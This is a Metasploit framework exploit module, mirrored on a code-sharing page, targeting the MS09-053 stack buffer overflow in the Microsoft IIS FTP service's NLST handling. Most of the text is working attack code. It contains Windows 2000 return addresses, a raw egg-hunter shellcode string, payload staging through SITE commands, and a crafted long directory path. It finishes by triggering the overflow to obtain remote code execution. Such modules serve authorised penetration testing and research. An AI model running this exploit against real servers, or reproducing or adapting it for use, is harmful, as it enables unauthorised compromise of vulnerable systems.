Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS09-053 Microsoft IIS FTP Server NLST Response Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
18
service. The flaw is triggered when a special NLST argument is passed
19
while the session has changed into a long directory path. For this exploit
20
to work, the FTP server must be configured to allow write access to the
21
file system (either anonymously or in conjunction with a real account)
22
},
23
'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],
24
'License' => MSF_LICENSE,
25
'References' => [
26
['EDB', '9541'],
27
['CVE', '2009-3023'],
28
['OSVDB', '57589'],
29
['BID', '36189'],
30
['MSB', 'MS09-053'],
31
],
32
'DefaultOptions' => {
33
'EXITFUNC' => 'process',
34
},
35
'Privileged' => true,
36
'Payload' => {
37
'Space' => 490,
38
'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",
39
# This is for the stored payload, the real BadChar list for file paths is:
40
# \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c
41
'StackAdjustment' => -3500,
42
},
43
'Platform' => [ 'win' ],
44
'Targets' => [
45
[
46
'Windows 2000 SP4 English/Italian (IIS 5.0)',
47
{
48
'Ret' => 0x773d24eb, # jmp esp in activeds.dll (English / 5.0.2195.6601)
49
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
50
},
51
],
52
[
53
'Windows 2000 SP3 English (IIS 5.0)',
54
{
55
'Ret' => 0x77e42ed8, # jmp esp in user32.dll (English / 5.0.2195.7032)
56
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
57
},
58
],
59
[
60
# target from TomokiSanaki
61
'Windows 2000 SP0-SP3 Japanese (IIS 5.0)',
62
{
63
'Ret' => 0x774fa593, # jmp esp in ?? (Japanese)
64
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
65
},
66
],
67
],
68
'DisclosureDate' => '2009-08-31',
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'Reliability' => UNKNOWN_RELIABILITY,
72
'Stability' => UNKNOWN_STABILITY,
73
'SideEffects' => UNKNOWN_SIDE_EFFECTS
74
}
75
)
76
)
77
78
register_options([Opt::RPORT(21),])
79
end
80
81
def exploit
82
connect_login
83
84
based = rand_text_alpha_upper(10)
85
86
res = send_cmd(['MKD', based ], true)
87
print_status(res.strip)
88
89
if (res !~ /directory created/)
90
print_error("The root directory of the FTP server is not writeable")
91
disconnect
92
return
93
end
94
95
res = send_cmd(['CWD', based ], true)
96
print_status(res.strip)
97
98
egg = rand_text_alpha_upper(4)
99
hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"
100
101
# This egg hunter is necessary because of the huge set of restricted characters for directory names
102
# The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter
103
# The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order
104
# to locate the real shellcode. The only change from the original hunter was to randomize the
105
# prefix used.
106
107
# Store our real shellcode on the stack
108
1.upto(5) do
109
res = send_cmd(['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true)
110
end
111
112
# Create the directory path that will be used in the overflow
113
pre = rand_text_alpha_upper(3) # esp+0x28 points here
114
pst = rand_text_alpha_upper(210) # limited by max path
115
116
pst[0, hun.length] = hun # egg hunter
117
pst[90, 4] = [target['Patch']].pack('V') # patch smashed pointers
118
pst[94, 4] = [target['Patch']].pack('V') # patch smashed pointers
119
pst[140, 32] = [target['Patch']].pack('V') * 8 # patch smashed pointers
120
pst[158, 4] = [target.ret].pack("V") # return
121
pst[182, 5] = "\xe9" + [-410].pack("V") # jmp back
122
123
# Escape each 0xff with another 0xff for FTP
124
pst = pst.gsub("\xff", "\xff\xff")
125
126
print_status("Creating long directory...")
127
res = send_cmd(['MKD', pre + pst ], true)
128
print_status(res.strip)
129
130
srv = Rex::Socket::TcpServer.create(
131
'LocalHost' => '0.0.0.0',
132
'LocalPort' => 0,
133
'SSL' => false,
134
'Context' => {
135
'Msf' => framework,
136
'MsfExploit' => self,
137
}
138
)
139
140
add_socket(srv)
141
142
begin
143
thr = framework.threads.spawn("Module(#{self.refname})-Listener", false) { srv.accept }
144
145
prt = srv.getsockname[2]
146
prt1 = prt / 256
147
prt2 = prt % 256
148
149
addr = Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"
150
151
res = send_cmd(['PORT', addr ], true)
152
print_status(res.strip)
153
154
print_status("Trying target #{target.name}...")
155
156
res = send_cmd(['NLST', pre + pst + "*/../" + pre + "*/"], true)
157
print_status(res.strip) if res
158
159
select(nil, nil, nil, 2)
160
161
handler
162
disconnect
163
ensure
164
thr.kill
165
srv.close
166
end
167
end
168
end
169
170